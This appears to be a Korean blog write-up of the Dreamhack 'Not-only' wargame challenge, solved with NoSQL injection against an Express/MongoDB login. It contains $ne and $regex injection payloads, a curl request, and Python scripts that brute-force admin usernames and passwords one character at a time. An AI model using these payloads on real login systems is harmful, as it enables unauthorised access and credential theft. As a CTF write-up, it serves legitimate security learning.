https://dreamhack.io/wargame/challenges/1619
Not-only
Description admin 권한을 가진 유저를 찾으세요! 유저의 password 가 플래그입니다. 패스워드 형식은 숫자와 알파벳 대소문자, 특수문자 {, }가 포함된 문자열입니다. admin 유저는 몇 명일까요? 플래그
dreamhack.io
admin 권한을 가진 유저의 비밀번호를 찾으라고 한다.
문제 사이트에 들어가보자.
/login 사이트로 들어가보면
일단 코드를 한번 살펴봐야 될 듯 싶다.
code
db.sql
use main;
db.user.insert({"uid": "guest", "upw": "guest", "admin": 0});
db.user.insert({"uid": "hack", "upw": "**sample**", "admin": 0});
db.user.insert({"uid": "apple", "upw": "**sample**", "admin": 0});
db.user.insert({"uid": "melon", "upw": "**sample**", "admin": 0});
db.user.insert({"uid": "testuser", "upw": "**sample**", "admin": 0});
db.user.insert({"uid": "admin", "upw": "**sample**", "admin": 0});
db.user.insert({"uid": "aaaa", "upw": "**sample**", "admin": 0});
db.user.insert({"uid": "cream", "upw": "**sample**", "admin": 0});
db.user.insert({"uid": "berry", "upw": "**sample**", "admin": 0});
db.user.insert({"uid": "ice", "upw": "**sample**", "admin": 0});
db.user.insert({"uid": "panda", "upw": "**sample**", "admin": 0});
db.user.find();
유저 목록
지금 나와있는 유저들 중 누가 admin인지는 알 수가 없고, upw의 경우 guest의 것만 알 수 있는 상태
login.js
const express = require('express');
const router = express.Router();
const path = require('path');
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
router.post('/', (req, res) => {
const uid = req.body.uid;
const upw = req.body.upw;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
req.session.user = { uid: result['uid'], admin: result['admin']};
res.redirect('/user');
}else{
res.redirect('/login');
}
});
});
router.get('/', function(req, res) {
res.render("login.ejs");
});
module.exports = router;
mongo db를 사용해서 유저 정보를 저장하고 있는 모양
mongo db의 취약점을 이용해서 admin 비밀번호를 알아내야 할 듯 하다.
mongo db는 $ne(not equal), $gt(greater) 등을 이용해서 해당 쿼리문의 참/거짓을 알아낼 수 있는 우회 방법이 존재한다.
예를 들어, 아래와 같은 json 입력값을 mongo db에 보낸다고 가정해보자.
{
"uid": "admin",
"upw": { "$ne": "" }
}
uid가 admin이고 upw의 값이 비어있지 않은 경우, mongo db는 두 조건을 만족하는 데이터를 찾고, 만약 해당 데이터가 존재한다면 통과시키게 된다. (별도의 filtering이나 sanitization이 없을 경우)
위 json 문을 curl을 통해 서버로 보내보자.
curl -X POST http://host3.dreamhack.games:23523/login \
-H "Content-Type: application/json" \
-d '{"uid": "admin", "upw": {"$ne": ""}}'

응답으로 "Found. Redirecting to /user" 이렇게 오는 걸 볼 수 있다.
아마 응답으로 추측컨데, NoSQL Injection에 대한 별다른 필터링이 없고, 서버의 응답을 통해 비밀번호(플래그)를 알아내면 될 듯 하다.
그 외의 코드에서는 딱히 중요한 점을 발견하지 못했다.
Exploit
guest로 로그인을 해 보면
/user 페이지로 리다이렉트한다.
또한 admin auth를 가지고 있는지도 나온다.
만약 admin auth를 가지고 있을 경우, Your admin auth: 1 이런 식으로 뜰 것이라고 예상할 수 있다.]
주어진 db정보로는 누가 admin인지 알 수 없으므로, mongo db에 쿼리문을 날려서 반응을 확인해서 하나씩 맞추는 형식으로 가야 될 듯 하다.
{
"uid": "admin",
"upw": { "$regex": "^DH" }
}
$regex는 DH로 시작하는 문자열이라는 의미이고, 위의 두 조건이 올바르다면, 그리고 NoSQL Injection에 대한 필터링이 제대로 되어있지 않다면 mongo db는 마찬가지로 응답으로 "Found. Redirecting to /user 을 보내줄 것이다.
빙고
admin이라는 유저의 패스워드는 DH로 시작할 것이라고 추측해 볼 수 있다.
curl로 하나하나 다 보내기는 시간이 많이 걸리므로, 파이썬으로 브루트 포싱 공격을 자동화하는 익스플로잇을 짜서 페이로드를 보내봤다.
import requests
def find_admin_user():
url = "http://host3.dreamhack.games:23523/login"
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_" # 가능한 모든 문자
uid = "" # uid를 저장할 변수
while True:
found = False
for char in charset:
payload = {
"uid": {"$regex": f"^{uid}{char}"},
"admin": 1, # admin이 1인 유저만 필터링
"upw": {"$regex": ".*"}
}
response = requests.post(url, json=payload)
if "Your admin auth: 1" in response.text: # 성공 조건
uid += char
print(f"[+] Admin UID : {uid}")
found = True
break
if not found: # 더 이상 문자가 없으면 종료
if uid: # 일부라도 UID가 발견된 경우 출력
print(f"[+] Admin UID fully extracted: {uid}")
else: # UID를 찾지 못한 경우
print("[-] No admin UID found")
break
return uid
if __name__ == "__main__":
uid = find_admin_user()
if uid:
print(f"[!] Admin UID: {uid}")
else:
print("[-] Admin user not found")
우리가 알고 싶은건 admin auth를 가진 유저이므로, 응답으로 "Your admin auth: 1", 그리고 admin이 1인 값을 찾는 코드를 작성해 보았다.
payload = {
"uid": {"$regex": f"^{uid}{char}"},
"admin": 1, # admin이 1인 유저만 필터링
"upw": {"$regex": ".*"}
}
먼저 숫자, 대소문자를 포함하는 charset을 준비하고 uid에 공백부터 하나씩 넣어서 만약 서버측 응답값이 원하는 대로 뜬다면 문자 하나씩 uid에 저장하도록 하였다.
upw는 공백이 아닌 경우를 의미한다. 즉 db에 저장된 값 중 upw의 값이 공백이 아닌 값들을 찾겠다는 의미이므로 uid와 admin이 올바르면 해당 유저를 mongo db에서 찾아서 원하는 응답을 줄 것이라고 추측할 수 있다.
upw 부분은 {"$ne": null} 이렇게 넣어도 된다.
그리고 admin 권한을 가진 유저는 한명이 아니다.
한명의 admin 유저인 'cream'을 찾았으므로, 'cream'을 제외하고 또 찾을 수 있도록 앞문자 c가 아닌, 조건에 해당하는 유저를 찾도록 하였다.$regex의 값에 ^[^c] 조건을 추가한다.
한명 더 찾음
● 패스워드 찾기
이제 각 uid를 대상으로 regex 질의를 통해 브루트 포싱으로 비밀번호를 찾으면 될 것 같다.
- testuser
import requests
def extract_password(uid):
"""Extract the password for the given UID."""
url = "http://host3.dreamhack.games:23523/login"
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789}{"
password = ""
while not password.endswith("}"): # }가 나올 때까지 반복
found = False
for char in charset:
payload = {
"uid": uid,
"admin": 1,
"upw": {"$regex": f"^{password}{char}"}
}
response = requests.post(url, json=payload)
if "Your admin auth: 1" in response.text: # 원하는 응답 조건
password += char
print(f"[+] Password so far: {password}")
found = True
break
if not found: # 더이상 문자가 없을 경우 -> 종료
print(f"[-] Current password: {password}")
break
if password.endswith("}"):
print(f"[+] Password fully extracted: {password}")
else:
print(f"[-] Incomplete: {password}")
return password
if __name__ == "__main__": # 프로그램 시작
hidden_uid = "testuser" # 추측되는 admin uid 입력
print(f"[*] Target UID: {hidden_uid}")
admin_password = extract_password(hidden_uid)
print(f"[!] Admin Password {hidden_uid}: {admin_password}")
upw에 regex를 넣어서 문자 하나씩 mongo db에 저장된 패스워드와 비교하며 응답을 살피고 저장 후 -> 비밀번호 출력
while not password.endswith("}"): # }가 나올 때까지 반복
found = False
for char in charset:
payload = {
"uid": uid,
"admin": 1,
"upw": {"$regex": f"^{password}{char}"}
}
response = requests.post(url, json=payload)
if "Your admin auth: 1" in response.text: # 원하는 응답 조건
password += char
print(f"[+] Password so far: {password}")
found = True
break
if not found: # 더이상 문자가 없을 경우 -> 종료
print(f"[-] Current password: {password}")
break
response에 우리가 원하는 응답값이 있을 경우 password 변수에 저장해서 만약 더 비교할 문자가 없다면 password를 출력하게 하였다.
if password.endswith("}"):
print(f"[+] Password fully extracted: {password}")
else:
print(f"[-] Incomplete: {password}")
문제에서 플래그의 형식이 DH{~} 이런 식으로 되어있다고 나왔기 때문에 만약 플래그일 경우 '}'로 끝날 것이라고 예상했다.
???
아무래도 '}'로 끝나지 않은 모양인데, 또 시작하는건 DH로 시작한다.
아마 나머지 유저에게 나머지 플래그 값이 들어있을 듯 하다.
- cream
import requests
def extract_password(uid):
"""Extract the password for the given UID."""
url = "http://host3.dreamhack.games:23523/login"
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789}{"
password = ""
while not password.endswith("}"): # }가 나올 때까지 반복
found = False
for char in charset:
payload = {
"uid": uid,
"admin": 1,
"upw": {"$regex": f"^{password}{char}"}
}
response = requests.post(url, json=payload)
if "Your admin auth: 1" in response.text: # 원하는 응답 조건
password += char
print(f"[+] Password so far: {password}")
found = True
break
if not found: # 더이상 문자가 없을 경우 -> 종료
print(f"[-] Current password: {password}")
break
if password.endswith("}"):
print(f"[+] Password fully extracted: {password}")
else:
print(f"[-] Incomplete: {password}")
return password
if __name__ == "__main__": # 프로그램 시작
hidden_uid = "cream" # 추측되는 admin uid 입력
print(f"[*] Target UID: {hidden_uid}")
admin_password = extract_password(hidden_uid)
print(f"[!] Admin Password {hidden_uid}: {admin_password}")
아마 cream의 비밀번호가 나머지 플래그 부분일 듯 하다.
빙고
위 두 비밀번호를 이어서 입력하면 플래그가 된다.
※ 중간에 엄청 삽질함!
당연히 admin 권한을 가진 유저가 1명이라고 생각했으나, 알고보니 두명....이었고 두 명의 비밀번호를 이어붙여야 플래그가 튀어나왔다.
그래서 자꾸 중간에 비밀번호가 나오다가 끊기거나, 이상한? 문자로 시작하거나 등등 자꾸 오작동(?)을 일으켰던 것
References
https://www.hahwul.com/cullinan/nosql-injection/
NoSQL Injection
Introduction NoSQL Injection은 SQL을 사용하는 것으로 알려진 DBMS를 제외한 나머지 Database에 대한 Injection 공격입니다. 일반적으로 NoSQL 데이터베이스는 기존 SQL 데이터베이스보다 consistency check가 느슨합
www.hahwul.com
'보안 > Web hacking' 카테고리의 다른 글
[Dreamhack] insane python (0) | 2024.12.26 |
---|---|
[Dreamhack] Replace Trick! (0) | 2024.12.23 |
[Dreamhack] Baby - ai (0) | 2024.12.18 |
[Dreamhack] TODO List 0.0.1 (1) | 2024.11.29 |
[Dreamhack] Broken Is SSRF possible? (0) | 2024.11.24 |